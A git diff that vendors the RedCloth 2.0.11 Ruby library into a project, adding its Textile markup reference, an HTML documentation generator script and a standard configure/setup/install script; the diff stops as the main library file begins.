    + + +h2. Acknowledgements + +Textile is (c) 2003 Dean Allen. All rights reserved. You can read more "here":http://www.textism.com/tools/textile/. + +RedCloth is also based on PyTextile, which is: Copyright (c) 2003, "Mark Pilgrim":http://diveintomark.org/. All rights reserved. You can read more about PyTextile "here":http://dealmeida.net/projects/textile. + diff --git a/vendor/redcloth-2.0.11/doc/REFERENCE b/vendor/redcloth-2.0.11/doc/REFERENCE new file mode 100755 index 00000000..a3e5bec0 --- /dev/null +++ b/vendor/redcloth-2.0.11/doc/REFERENCE @@ -0,0 +1,216 @@ +--- +- A Textile Reference: + - Textile is a simple text markup. Simple symbols mark words' emphasis. Blocks of text + can be easily tagged as headers, quotes, or lists. A Textile document can then be + converted to HTML(Hypertext Markup Language) for viewing on the web. + - You can try Textile out on the "Textile home page":http://www.textism.com/tools/textile/. + Textile is also available as "RedCloth":http://whytheluckystiff.net/ruby/redcloth/ for + Ruby or "PyTextile":http://dealmeida.net/projects/textile for Python. + - Also refer to the "*Quick Reference*":javascript:quickRedReference(); for this guide. + - h4. Reading the Examples + - In each section below, examples are provided to clearly illustrate. In each example, + the Textile example is followed by the raw HTML it is translated into, followed by how + the HTML appears in the browser. + - + - Textile example + - Converted to HTML + - Browser-view +- Writing in Textile: + - Textile looks for paragraphs in your text. Paragraphs are separated by one blank line. + Every paragraph is translated as an HTML paragraph. + - !!example "A single paragraph.\n\nFollowed by another." + - h4. Using HTML in Textile + - You can certainly use HTML tags inside your Textile documents. HTML will only be escaped + if it's found in a @pre@ or @code@ block. + - !!example "I am very serious.\n\n
    \n  I am very serious.\n
    " + - h4. Line Breaks + - Line breaks are converted to HTML breaks. + - !!example "I spoke.\nAnd none replied." + - Line breaks can be disabled in RedCloth by turning on @fold_lines@. + - h4. Entities + - Single- and double-quotes around words or phrases are converted to curly quotations, much easier on the eye. + - !!example '"Observe!"' + - Double hyphens are replaced with an em-dash. + - !!example Observe -- very nice! + - Single hyphens are replaced with en-dashes. + - !!example Observe - tiny and brief. + - Triplets of periods become an ellipsis. + - !!example Observe... + - The letter 'x' becomes a dimension sign when used alone. + - !!example 'Observe: 2 x 2.' + - Conversion of trademark and copyright symbols. + - !!example 'one(TM), two(R), three(C).' +- Quick Block Modifiers: + - Blocks of text default to being treated as paragraphs. But modifers can be affixed + to the beginning of a block to change its treatment. + - h4. Headers + - To make an entire paragraph into a Header, place "hn." at + its beginning, where _n_ is a number from 1-6. + - !!example h1. Header 1 + - !!example h2. Header 2 + - !!example h3. Header 3 + - h4. Block Quotes + - To make an entire paragraph into a block quotation, place + "bq." before it. + - !!example "An old text\n\nbq. A block quotation.\n\nAny old text" + - h4. Footnotes + - Numeric references within text to footnotes appear between square brackets. + - !!example This is covered elsewhere[1]. + - To create the footnote that corresponds to its reference within the text, begin a new paragraph with fn and the + footnote's number, followed by a dot and a space. + - !!example fn1. Down here, in fact. +- Quick Phrase Modifiers: + - h4. Structural Emphasis + - Emphasis to text is added by surrounding a phrase with underscores. In HTML, this often + appears as italics. + - !!example I _believe_ every word. + - Strength can be give to text by surrounding with asterisks. In HTML, this strength appears + as bold. + - !!example And then? She *fell*! + - Both italics and bold can be forced by doubling the underscores or asterisks. + - !!example "I __know__.\nI **really** __know__." + - Use double question marks to indicate _citation_. The title of a book, for instance. + - !!example "??Cat's Cradle?? by Vonnegut" + - Code phrases can be surrounded by at-symbols. + - !!example "Convert with @r.to_html@" + - To indicate a passage which has been deleted, surround the passage with hypens. + - !!example "I'm -sure- not sure." + - Pluses around a passage indicate its insertion. + - !!example "You are a +pleasant+ child." + - To superscript a phrase, surround with carets. + - !!example "a ^2^ + b ^2^ = c ^2^" + - To subscript, surround with tildes. + - !!example "log ~2~ x" + - h4. HTML-Specific + - Lastly, if you find yourself needing to customize the style of a passage, use percent symbols + to translate the passage as an HTML span. + - !!example I'm %unaware% of most soft drinks. + - This way, you can apply style settings, as described in the next section to arbitrary phrases. + - !!example "I'm %{color:red}unaware%\nof most soft drinks." +- Attributes: + - Tailoring Textile to suit your needs is quite easy. Attributes allow you to provide CSS(Cascading + Style Sheets) information about any phrase. + - h4. Block Attributes + - A block can be tagged with a CSS class by circling the class in parentheses and + placing it just before the period which marks the block. + - !!example p(example1). An example + - An element ID can be given by prefixing the ID with a pound symbol and using it in place of + the class. + - !!example p(#big-red). Red here + - Class and ID can be combined by placing the class first. + - !!example p(example1#big-red2). Red here + - Style settings can be provided directly by surrounding them in curly braces. + - !!example p{color:blue;margin:30px}. Spacey blue + - Language designations can be given between angel brackets. + - !!example p[fr]. rouge + - h4. Phrase Attributes + - All block attributes can be applied to phrases as well by placing them just inside the + opening modifier. + - !!example "I seriously *{color:red}blushed*\nwhen I _(big)sprouted_ that\ncorn stalk from my\n%[es]cabeza%." + - h4. Block Alignments + - Text inside blocks can be aligned in four basic ways. + - !!example p<. align left + - !!example p>. align right + - !!example p=. centered + - !!example p<>. justified + - Indentation can also be specified by provide a single left paren for every 1em to the left. A single right + paren for every 1em to the right. + - !!example p(. left ident 1em + - !!example p((. left ident 2em + - !!example p))). right ident 3em + - h4. Combining Alignments + - Identation may be coupled with alignment. + - !!example "h2()>. Bingo." + - And, furthermore, coupled with language settings and CSS styles. + - !!example "h3()>[no]{color:red}. Bingo" + - h4. HTML in Textile + - Textile is designed for quickening the simple markups. For more complex formatting, you are encouraged + to break out into HTML. + - For example, long code blocks belong between @pre@ and @code@ tags. Please also indent your code inside + the tags to be sure that all Textile processors out there will ignore the contents. + - !!example | +
    +      
    +        a.gsub!( /
    +      
    + - You may also choose to surround sections with @div@ tags to separate your document into sections. + "Instiki":http://www.instiki.org/ uses this technique to float a sidebar to the right. + - !!example | +
    + + h3. Sidebar + + "Hobix":http://hobix.com/ + "Ruby":http://ruby-lang.org/ + +
    + + The main text of the + page goes here and will + stay to the left of the + sidebar. + +- Lists: + - h4. Numeric Lists + - To make a numbered list, place each item in its own paragraph, preceded by "#". + - !!example "# A first item\n# A second item\n# A third" + - These lists may be nested by increasing the number of pound symbols preceding child entries. + - !!example "# Fuel could be:\n## Coal\n## Gasoline\n## Electricity\n# Humans need only:\n## Water\n## Protein" + - h4. Bulleted Lists + - Bulleted lists use an asterisk in place of the pound. + - !!example "* A first item\n* A second item\n* A third" + - These lists may be nested in like manner. + - !!example "* Fuel could be:\n** Coal\n** Gasoline\n** Electricity\n* Humans need only:\n** Water\n** Protein" +- External References: + - h4. Hypertext Links + - Basic links are comprised of a phrase which is linked to a URL(Universal Resource Locator). Place the + descriptive phrase in quotation marks. Follow it immediately by a colon and the URL. + - !!example I searched "Google":http://google.com. + - Notice, the link won't include any trailing punctuation. + - h4. Link Aliases + - If you are using the same link several times in your document, or you'd just like to be a tad more + organized, you can use a link alias. Place the URL anywhere in your document, beginning with its + alias in square brackets. Then, use the alias in place of the URL, using the link format above. + - !!example | + I am crazy about "Hobix":hobix + and "it's":hobix "all":hobix I ever + "link to":hobix! + + [hobix]http://hobix.com + - h4. Embedded Images + - You can embed an image in your Textile document by surrounding its URL with exclamation marks. + - !!example "!http://hobix.com/sample.jpg!" + - URLs may be relative. + - A title for the image can also be provided in parens, just before the closing exclamation. + - !!example "!openwindow1.gif(Bunny.)!" + - The title also acts as *alt* text should the image not be found. + - Links can be attached to images with a colon. + - !!example "!openwindow1.gif!:http://hobix.com/" + - h4. Image Alignments + - Alignments can be applied as well to images. + - !!example "!>obake.gif!\n\nAnd others sat all round the small\nmachine and paid it to sing to them." + - h4. Acronyms + - Definitions for acronyms can be provided by following an acronym with its definition in parens. + - !!example We use CSS(Cascading Style Sheets). +- Tables: + - Simple tables can be built by separating fields with pipe characters + - !!example "| name | age | sex |\n| joan | 24 | f |\n| archie | 29 | m |\n| bella | 45 | f |" + - Specify header cells by marking them with an underscore and period. + - !!example "|_. name |_. age |_. sex |\n| joan | 24 | f |\n| archie | 29 | m |\n| bella | 45 | f |" + - h4. Cell Attributes + - The period used above marks the end of a cell's attributes. Other attributes can be applied as well. + - !!example "|_. attribute list |\n|<. align left |\n|>. align right|\n|=. center |\n|<>. justify |\n|^. valign top |\n|~. bottom |" + - You can also specify colspans with a backslash, followed by the cell width. + - !!example "|\\2. spans two cols |\n| col 1 | col 2 |" + - Rowspan is specified by a forward slash, followed by the row height. + - !!example "|/3. spans 3 rows | a |\n| b |\n| c |" + - All block attributes can be applied to table cells as well. + - !!example "|{background:#ddd}. Grey cell|" + - h4. Table and Row Attributes + - Table-wide attributes can be applied before the first row of the table. On its own line, followed by + a period. + - !!example "table{border:1px solid black}.\n|This|is|a|row|\n|This|is|a|row|" + - Attributes can be applied to a single row by supplying the attribute before the row starts, using a + @table@ modifier and following it by a period. + - !!example "|This|is|a|row|\n{background:#ddd}. |This|is|grey|row|" diff --git a/vendor/redcloth-2.0.11/doc/make.rb b/vendor/redcloth-2.0.11/doc/make.rb new file mode 100755 index 00000000..746436ba --- /dev/null +++ b/vendor/redcloth-2.0.11/doc/make.rb @@ -0,0 +1,345 @@ +require 'yaml' +require 'redcloth' + +def a_name( phrase ) + phrase.downcase. + gsub( /\W+/, '-' ) +end + +file_name = ARGV.shift +case file_name +when 'README' + puts <<-HTML + + + + + RedCloth [Textile Humane Web Text for Ruby] + + + + HTML + puts RedCloth.new( File.open( file_name ).read ).to_html + puts "" + puts "" +when 'QUICK-REFERENCE' + YAML::add_private_type( "example" ) do |type, val| + esc = val.dup + esc.htmlesc!( :NoQuotes ) + [ :example, esc.gsub( /\n/, '
    ' ), + RedCloth.new( val ).to_html ] + end + + content = YAML::load( File.open( 'REFERENCE' ) ) + + sections = content.collect { |c| c.keys.first } + sections.shift + + puts <<-HTML + + + + + Textile Quick Reference + + + + + + + HTML + + ct = 0 + content.each do |section| + section.each do |header, parags| + puts "" if ct.nonzero? + parags.each do |p| + if p.is_a?( Array ) and p[0] == :example + puts "" + + "" + end + end + end + ct += 1 + end + puts "

    Textile Quick Reference

    Sections: #{ sections.collect { |s| "#{ s.gsub( /\s/, ' ' ) }" }.join( ' | ' ) }
    #{ header }
    #{ p[1] }
    #{ p[2] }
    " + puts "" + puts "" + +when 'REFERENCE' + YAML::add_private_type( "example" ) do |type, val| + esc = val.dup + esc.htmlesc!( :NoQuotes ) + [ esc.gsub( /\n/, '
    ' ), + RedCloth.new( val ).to_html. + gsub( /;(\w)/, '; \1' ). + htmlesc!( :NoQuotes ). + gsub( /\n/, '
    ' ), + RedCloth.new( val ).to_html ] + end + + content = YAML::load( File.open( file_name ) ) + + sections = content.collect { |c| c.keys.first } + sections.shift + + puts <<-HTML + + + + + Textile Reference + + + + + + HTML + + ct = 0 + content.each do |section| + section.each do |header, parags| + if ct.zero? + puts "" + puts "" + else + puts "" + end + parags.each do |p| + if p.is_a? Array + puts "" + + "" + + "" + else + puts "" + end + end + unless ct.zero? + puts "" + end + end + ct += 1 + end + puts "

    #{ header }

    Sections: #{ sections.collect { |s| "#{ s.gsub( /\s/, ' ' ) }" }.join( ' | ' ) }
    #{ ct }.
    #{ header }
    #{ p[0] }

    #{ p[1] }

    #{ p[2] }
    " + puts RedCloth.new( p ).to_html + puts "
    " + puts "" + puts "" +end diff --git a/vendor/redcloth-2.0.11/install.rb b/vendor/redcloth-2.0.11/install.rb new file mode 100755 index 00000000..2313f9e9 --- /dev/null +++ b/vendor/redcloth-2.0.11/install.rb @@ -0,0 +1,1032 @@ +#!/usr/local/bin/ruby +# +# This file is automatically generated. DO NOT MODIFY! +# +# install.rb +# +# Copyright (c) 2000-2002 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2. +# + +### begin compat.rb + +unless Enumerable.instance_methods.include? 'inject' then +module Enumerable + def inject( result ) + each do |i| + result = yield(result, i) + end + result + end +end +end + +def File.read_all( fname ) + File.open(fname, 'rb') {|f| return f.read } +end + +def File.write( fname, str ) + File.open(fname, 'wb') {|f| f.write str } +end + +### end compat.rb +### begin config.rb + +if i = ARGV.index(/\A--rbconfig=/) then + file = $' + ARGV.delete_at(i) + require file +else + require 'rbconfig' +end + + +class ConfigTable + + c = ::Config::CONFIG + + rubypath = c['bindir'] + '/' + c['ruby_install_name'] + + major = c['MAJOR'].to_i + minor = c['MINOR'].to_i + teeny = c['TEENY'].to_i + version = "#{major}.#{minor}" + + # ruby ver. >= 1.4.4? + newpath_p = ((major >= 2) or + ((major == 1) and + ((minor >= 5) or + ((minor == 4) and (teeny >= 4))))) + + re = Regexp.new('\A' + Regexp.quote(c['prefix'])) + subprefix = lambda {|path| + re === path and path.sub(re, '$prefix') + } + + if c['rubylibdir'] then + # 1.6.3 < V + stdruby = subprefix.call(c['rubylibdir']) + siteruby = subprefix.call(c['sitedir']) + versite = subprefix.call(c['sitelibdir']) + sodir = subprefix.call(c['sitearchdir']) + elsif newpath_p then + # 1.4.4 <= V <= 1.6.3 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = subprefix.call(c['sitedir']) + versite = siteruby + '/' + version + sodir = "$site-ruby/#{c['arch']}" + else + # V < 1.4.4 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = "$prefix/lib/ruby/#{version}/site_ruby" + versite = siteruby + sodir = "$site-ruby/#{c['arch']}" + end + + DESCRIPTER = [ + [ 'prefix', [ c['prefix'], + 'path', + 'path prefix of target environment' ] ], + [ 'std-ruby', [ stdruby, + 'path', + 'the directory for standard ruby libraries' ] ], + [ 'site-ruby-common', [ siteruby, + 'path', + 'the directory for version-independent non-standard ruby libraries' ] ], + [ 'site-ruby', [ versite, + 'path', + 'the directory for non-standard ruby libraries' ] ], + [ 'bin-dir', [ '$prefix/bin', + 'path', + 'the directory for commands' ] ], + [ 'rb-dir', [ '$site-ruby', + 'path', + 'the directory for ruby scripts' ] ], + [ 'so-dir', [ sodir, + 'path', + 'the directory for ruby extentions' ] ], + [ 'data-dir', [ '$prefix/share', + 'path', + 'the directory for shared data' ] ], + [ 'ruby-path', [ rubypath, + 'path', + 'path to set to #! line' ] ], + [ 'ruby-prog', [ rubypath, + 'name', + 'the ruby program using for installation' ] ], + [ 'make-prog', [ 'make', + 'name', + 'the make program to compile ruby extentions' ] ], + [ 'without-ext', [ 'no', + 'yes/no', + 'does not compile/install ruby extentions' ] ] + ] + + SAVE_FILE = 'config.save' + + def ConfigTable.each_name( &block ) + keys().each( &block ) + end + + def ConfigTable.keys + DESCRIPTER.collect {|k,*dummy| k } + end + + def ConfigTable.each_definition( &block ) + DESCRIPTER.each( &block ) + end + + def ConfigTable.get_entry( name ) + name, ent = DESCRIPTER.assoc(name) + ent + end + + def ConfigTable.get_entry!( name ) + get_entry(name) or raise ArgumentError, "no such config: #{name}" + end + + def ConfigTable.add_entry( name, vals ) + ConfigTable::DESCRIPTER.push [name,vals] + end + + def ConfigTable.remove_entry( name ) + get_entry name or raise ArgumentError, "no such config: #{name}" + DESCRIPTER.delete_if {|n,arr| n == name } + end + + def ConfigTable.config_key?( name ) + get_entry(name) ? true : false + end + + def ConfigTable.bool_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'yes/no' + end + + def ConfigTable.value_config?( name ) + ent = get_entry(name) or return false + ent[1] != 'yes/no' + end + + def ConfigTable.path_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'path' + end + + + class << self + + alias newobj new + + def new + c = newobj() + c.__send__ :init + c + end + + def load + c = newobj() + File.file? SAVE_FILE or + raise InstallError, "#{File.basename $0} config first" + File.foreach( SAVE_FILE ) do |line| + k, v = line.split( '=', 2 ) + c.instance_eval { + @table[k] = v.strip + } + end + c + end + + end + + def initialize + @table = {} + end + + def init + DESCRIPTER.each do |k, (default, vname, desc, default2)| + @table[k] = default + end + end + private :init + + def save + File.open( SAVE_FILE, 'w' ) {|f| + @table.each do |k, v| + f.printf "%s=%s\n", k, v if v + end + } + end + + def []=( k, v ) + ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" + if ConfigTable.path_config? k then + @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v + else + @table[k] = v + end + end + + def []( key ) + @table[key] or return nil + @table[key].gsub( %r<\$([^/]+)> ) { self[$1] } + end + + def set_raw( key, val ) + @table[key] = val + end + + def get_raw( key ) + @table[key] + end + +end + + +class MetaConfigEnvironment + + def self.eval_file( file ) + return unless File.file? file + new.instance_eval File.read_all(file), file, 1 + end + + private + + def config_names + ConfigTable.keys + end + + def config?( name ) + ConfigTable.config_key? name + end + + def bool_config?( name ) + ConfigTable.bool_config? name + end + + def value_config?( name ) + ConfigTable.value_config? name + end + + def path_config?( name ) + ConfigTable.path_config? name + end + + def add_config( name, argname, default, desc ) + ConfigTable.add_entry name,[default,argname,desc] + end + + def add_path_config( name, default, desc ) + add_config name, 'path', default, desc + end + + def add_bool_config( name, default, desc ) + add_config name, 'yes/no', default ? 'yes' : 'no', desc + end + + def set_config_default( name, default ) + if bool_config? name then + ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' + else + ConfigTable.get_entry!(name)[0] = default + end + end + + def remove_config( name ) + ent = ConfigTable.get_entry(name) + ConfigTable.remove_entry name + ent + end + +end + +### end config.rb +### begin fileop.rb + +module FileOperations + + def mkdir_p( dname, prefix = nil ) + dname = prefix + dname if prefix + $stderr.puts "mkdir -p #{dname}" if verbose? + return if no_harm? + + # does not check '/'... it's too abnormal case + dirs = dname.split(%r_(?=/)_) + if /\A[a-z]:\z/i === dirs[0] then + disk = dirs.shift + dirs[0] = disk + dirs[0] + end + dirs.each_index do |idx| + path = dirs[0..idx].join('') + Dir.mkdir path unless dir? path + end + end + + def rm_f( fname ) + $stderr.puts "rm -f #{fname}" if verbose? + return if no_harm? + + if File.exist? fname or File.symlink? fname then + File.chmod 0777, fname + File.unlink fname + end + end + + def rm_rf( dn ) + $stderr.puts "rm -rf #{dn}" if verbose? + return if no_harm? + + Dir.chdir dn + Dir.foreach('.') do |fn| + next if fn == '.' + next if fn == '..' + if dir? fn then + verbose_off { + rm_rf fn + } + else + verbose_off { + rm_f fn + } + end + end + Dir.chdir '..' + Dir.rmdir dn + end + + def mv( src, dest ) + rm_f dest + begin + File.link src, dest + rescue + File.write dest, File.read_all(src) + File.chmod File.stat(src).mode, dest + end + rm_f src + end + + def install( from, dest, mode, prefix = nil ) + $stderr.puts "install #{from} #{dest}" if verbose? + return if no_harm? + + realdest = prefix + dest if prefix + if dir? realdest then + realdest += '/' + File.basename(from) + end + str = File.read_all(from) + if diff? str, realdest then + verbose_off { + rm_f realdest if File.exist? realdest + } + File.write realdest, str + File.chmod mode, realdest + + File.open( objdir + '/InstalledFiles', 'a' ) {|f| f.puts realdest } + end + end + + def diff?( orig, targ ) + return true unless File.exist? targ + orig != File.read_all(targ) + end + + def command( str ) + $stderr.puts str if verbose? + system str or raise RuntimeError, "'system #{str}' failed" + end + + def ruby( str ) + command config('ruby-prog') + ' ' + str + end + + def dir?( dname ) + # for corrupted windows stat() + File.directory?( (dname[-1,1] == '/') ? dname : dname + '/' ) + end + + def all_files( dname ) + Dir.open( dname ) {|d| + return d.find_all {|n| File.file? "#{dname}/#{n}" } + } + end + + def all_dirs( dname ) + Dir.open( dname ) {|d| + return d.find_all {|n| dir? "#{dname}/#{n}" } - %w(. ..) + } + end + +end + +### end fileop.rb +### begin base.rb + +class InstallError < StandardError; end + + +class Installer + + Version = '3.1.2' + Copyright = 'Copyright (c) 2000-2002 Minero Aoki' + + + @toplevel = nil + + def self.declear_toplevel_installer( inst ) + @toplevel and + raise ArgumentError, 'more than one toplevel installer decleared' + @toplevel = inst + end + + def self.toplevel_installer + @toplevel + end + + + FILETYPES = %w( bin lib ext data ) + + include FileOperations + + def initialize( config, opt, srcroot, objroot ) + @config = config + @options = opt + @srcdir = File.expand_path(srcroot) + @objdir = File.expand_path(objroot) + @currdir = '.' + end + + def inspect + "#<#{type} #{__id__}>" + end + + # + # configs/options + # + + def get_config( key ) + @config[key] + end + + alias config get_config + + def set_config( key, val ) + @config[key] = val + end + + def no_harm? + @options['no-harm'] + end + + def verbose? + @options['verbose'] + end + + def verbose_off + save, @options['verbose'] = @options['verbose'], false + yield + @options['verbose'] = save + end + + # + # srcdir/objdir + # + + attr_reader :srcdir + alias srcdir_root srcdir + alias package_root srcdir + + def curr_srcdir + "#{@srcdir}/#{@currdir}" + end + + attr_reader :objdir + alias objdir_root objdir + + def curr_objdir + "#{@objdir}/#{@currdir}" + end + + def srcfile( path ) + curr_srcdir + '/' + path + end + + def srcexist?( path ) + File.exist? srcfile(path) + end + + def srcdirectory?( path ) + dir? srcfile(path) + end + + def srcfile?( path ) + File.file? srcfile(path) + end + + def srcentries( path = '.' ) + Dir.open( curr_srcdir + '/' + path ) {|d| + return d.to_a - %w(. ..) - hookfilenames + } + end + + def srcfiles( path = '.' ) + srcentries(path).find_all {|fname| + File.file? File.join(curr_srcdir, path, fname) + } + end + + def srcdirectories( path = '.' ) + srcentries(path).find_all {|fname| + dir? File.join(curr_srcdir, path, fname) + } + end + + def dive_into( rel ) + return unless dir? "#{@srcdir}/#{rel}" + + dir = File.basename(rel) + Dir.mkdir dir unless dir? dir + save = Dir.pwd + Dir.chdir dir + $stderr.puts '---> ' + rel if verbose? + @currdir = rel + yield + Dir.chdir save + $stderr.puts '<--- ' + rel if verbose? + @currdir = File.dirname(rel) + end + + # + # config + # + + def exec_config + exec_task_traverse 'config' + end + + def config_dir_bin( rel ) + end + + def config_dir_lib( rel ) + end + + def config_dir_ext( rel ) + extconf if extdir? curr_srcdir + end + + def extconf + opt = @options['config-opt'].join(' ') + command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" + end + + def config_dir_data( rel ) + end + + # + # setup + # + + def exec_setup + exec_task_traverse 'setup' + end + + def setup_dir_bin( relpath ) + all_files( curr_srcdir ).each do |fname| + add_rubypath "#{curr_srcdir}/#{fname}" + end + end + + SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ + + def add_rubypath( path ) + $stderr.puts %Q if verbose? + return if no_harm? + + tmpfile = File.basename(path) + '.tmp' + begin + File.open( path ) {|r| + File.open( tmpfile, 'w' ) {|w| + first = r.gets + return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' + + w.print first.sub( SHEBANG_RE, '#!' + config('ruby-path') ) + w.write r.read + } } + mv tmpfile, File.basename(path) + ensure + rm_f tmpfile if File.exist? tmpfile + end + end + + def setup_dir_lib( relpath ) + end + + def setup_dir_ext( relpath ) + if extdir? curr_srcdir then + make + end + end + + def make + command config('make-prog') + end + + def setup_dir_data( relpath ) + end + + # + # install + # + + def exec_install + exec_task_traverse 'install' + end + + def install_dir_bin( rel ) + install_files targfiles, config('bin-dir') + '/' + rel, 0755 + end + + def install_dir_lib( rel ) + install_files targfiles, config('rb-dir') + '/' + rel, 0644 + begin + require 'rdoc/rdoc' + ri_site = true + if RDOC_VERSION =~ /^0\./ + require 'rdoc/options' + unless Options::OptionList::OPTION_LIST.assoc('--ri-site') + ri_site = false + end + end + if ri_site + r = RDoc::RDoc.new + r.document(%w{--ri-site}) + end + rescue + puts "** Unable to install Ri documentation for RedCloth **" + end + end + + def install_dir_ext( rel ) + if extdir? curr_srcdir then + install_dir_ext_main File.dirname(rel) + end + end + + def install_dir_ext_main( rel ) + install_files allext('.'), config('so-dir') + '/' + rel, 0555 + end + + def install_dir_data( rel ) + install_files targfiles, config('data-dir') + '/' + rel, 0644 + end + + def install_files( list, dest, mode ) + mkdir_p dest, @options['install-prefix'] + list.each do |fname| + install fname, dest, mode, @options['install-prefix'] + end + end + + def targfiles + (targfilenames() - hookfilenames()).collect {|fname| + File.exist?(fname) ? fname : File.join(curr_srcdir(), fname) + } + end + + def targfilenames + [ curr_srcdir(), '.' ].inject([]) {|ret, dir| + ret | all_files(dir) + } + end + + def hookfilenames + %w( pre-%s post-%s pre-%s.rb post-%s.rb ).collect {|fmt| + %w( config setup install clean ).collect {|t| sprintf fmt, t } + }.flatten + end + + def allext( dir ) + _allext(dir) or raise InstallError, + "no extention exists: Have you done 'ruby #{$0} setup' ?" + end + + DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ + + def _allext( dir ) + Dir.open( dir ) {|d| + return d.find_all {|fname| DLEXT === fname } + } + end + + # + # clean + # + + def exec_clean + exec_task_traverse 'clean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def clean_dir_bin( rel ) + end + + def clean_dir_lib( rel ) + end + + def clean_dir_ext( rel ) + clean + end + + def clean + command config('make-prog') + ' clean' if File.file? 'Makefile' + end + + def clean_dir_data( rel ) + end + + # + # lib + # + + def exec_task_traverse( task ) + run_hook 'pre-' + task + FILETYPES.each do |type| + if config('without-ext') == 'yes' and type == 'ext' then + $stderr.puts 'skipping ext/* by user option' if verbose? + next + end + traverse task, type, task + '_dir_' + type + end + run_hook 'post-' + task + end + + def traverse( task, rel, mid ) + dive_into( rel ) { + run_hook 'pre-' + task + __send__ mid, rel.sub( %r_\A.*?(?:/|\z)_, '' ) + all_dirs( curr_srcdir ).each do |d| + traverse task, rel + '/' + d, mid + end + run_hook 'post-' + task + } + end + + def run_hook( name ) + try_run_hook curr_srcdir + '/' + name or + try_run_hook curr_srcdir + '/' + name + '.rb' + end + + def try_run_hook( fname ) + return false unless File.file? fname + + env = self.dup + begin + env.instance_eval File.read_all(fname), fname, 1 + rescue + raise InstallError, "hook #{fname} failed:\n" + $!.message + end + true + end + + def extdir?( dir ) + File.exist? dir + '/MANIFEST' + end + +end + +### end base.rb +### begin toplevel.rb + +class ToplevelInstaller < Installer + + TASKS = [ + [ 'config', 'saves your configurations' ], + [ 'show', 'shows current configuration' ], + [ 'setup', 'compiles extention or else' ], + [ 'install', 'installs files' ], + [ 'clean', "does `make clean' for each extention" ] + ] + + + def initialize( root ) + super nil, {'verbose' => true}, root, '.' + Installer.declear_toplevel_installer self + end + + + def execute + run_metaconfigs + + case task = parsearg_global() + when 'config' + @config = ConfigTable.new + else + @config = ConfigTable.load + end + parsearg_TASK task + + exectask task + end + + + def run_metaconfigs + MetaConfigEnvironment.eval_file "#{srcdir_root}/#{metaconfig}" + end + + def metaconfig + 'metaconfig' + end + + + def exectask( task ) + if task == 'show' then + exec_show + else + try task + end + end + + def try( task ) + $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? + begin + __send__ 'exec_' + task + rescue + $stderr.printf "%s failed\n", task + raise + end + $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? + end + + # + # processing arguments + # + + def parsearg_global + task_re = /\A(?:#{TASKS.collect {|i| i[0] }.join '|'})\z/ + + while arg = ARGV.shift do + case arg + when /\A\w+\z/ + task_re === arg or raise InstallError, "wrong task: #{arg}" + return arg + + when '-q', '--quiet' + @options['verbose'] = false + + when '--verbose' + @options['verbose'] = true + + when '-h', '--help' + print_usage $stdout + exit 0 + + when '-v', '--version' + puts "#{File.basename $0} version #{Version}" + exit 0 + + when '--copyright' + puts Copyright + exit 0 + + else + raise InstallError, "unknown global option '#{arg}'" + end + end + + raise InstallError, 'no task or global option given' + end + + + def parsearg_TASK( task ) + mid = "parsearg_#{task}" + if respond_to? mid, true then + __send__ mid + else + ARGV.empty? or + raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" + end + end + + def parsearg_config + re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ + @options['config-opt'] = [] + + while i = ARGV.shift do + if /\A--?\z/ === i then + @options['config-opt'] = ARGV.dup + break + end + m = re.match(i) or raise InstallError, "config: unknown option #{i}" + name, value = m.to_a[1,2] + if value then + if ConfigTable.bool_config?(name) then + /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" + value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' + end + else + ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" + value = 'yes' + end + @config[name] = value + end + end + + def parsearg_install + @options['no-harm'] = false + @options['install-prefix'] = '' + while a = ARGV.shift do + case a + when /\A--no-harm\z/ + @options['no-harm'] = true + when /\A--prefix=(.*)\z/ + path = $1 + path = File.expand_path(path) unless path[0,1] == '/' + @options['install-prefix'] = path + else + raise InstallError, "install: unknown option #{a}" + end + end + end + + + def print_usage( out ) + out.puts + out.puts 'Usage:' + out.puts " ruby #{File.basename $0} " + out.puts " ruby #{File.basename $0} [] []" + + fmt = " %-20s %s\n" + out.puts + out.puts 'Global options:' + out.printf fmt, '-q,--quiet', 'suppress message outputs' + out.printf fmt, ' --verbose', 'output messages verbosely' + out.printf fmt, '-h,--help', 'print this message' + out.printf fmt, '-v,--version', 'print version and quit' + out.printf fmt, '--copyright', 'print copyright and quit' + + out.puts + out.puts 'Tasks:' + TASKS.each do |name, desc| + out.printf " %-10s %s\n", name, desc + end + + out.puts + out.puts 'Options for config:' + ConfigTable.each_definition do |name, (default, arg, desc, default2)| + out.printf " %-20s %s [%s]\n", + '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), + desc, + default2 || default + end + out.printf " %-20s %s [%s]\n", + '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" + + out.puts + out.puts 'Options for install:' + out.printf " %-20s %s [%s]\n", + '--no-harm', 'only display what to do if given', 'off' + + out.puts + end + + # + # config + # + + def exec_config + super + @config.save + end + + # + # show + # + + def exec_show + ConfigTable.each_name do |k| + v = @config.get_raw(k) + if not v or v.empty? then + v = '(not specified)' + end + printf "%-10s %s\n", k, v + end + end + +end + +### end toplevel.rb + +if $0 == __FILE__ then + begin + installer = ToplevelInstaller.new( Dir.pwd ) + installer.execute + rescue + raise if $DEBUG + $stderr.puts $!.message + $stderr.puts "try 'ruby #{$0} --help' for usage" + exit 1 + end +end diff --git a/vendor/redcloth-2.0.11/lib/redcloth.rb b/vendor/redcloth-2.0.11/lib/redcloth.rb new file mode 100755 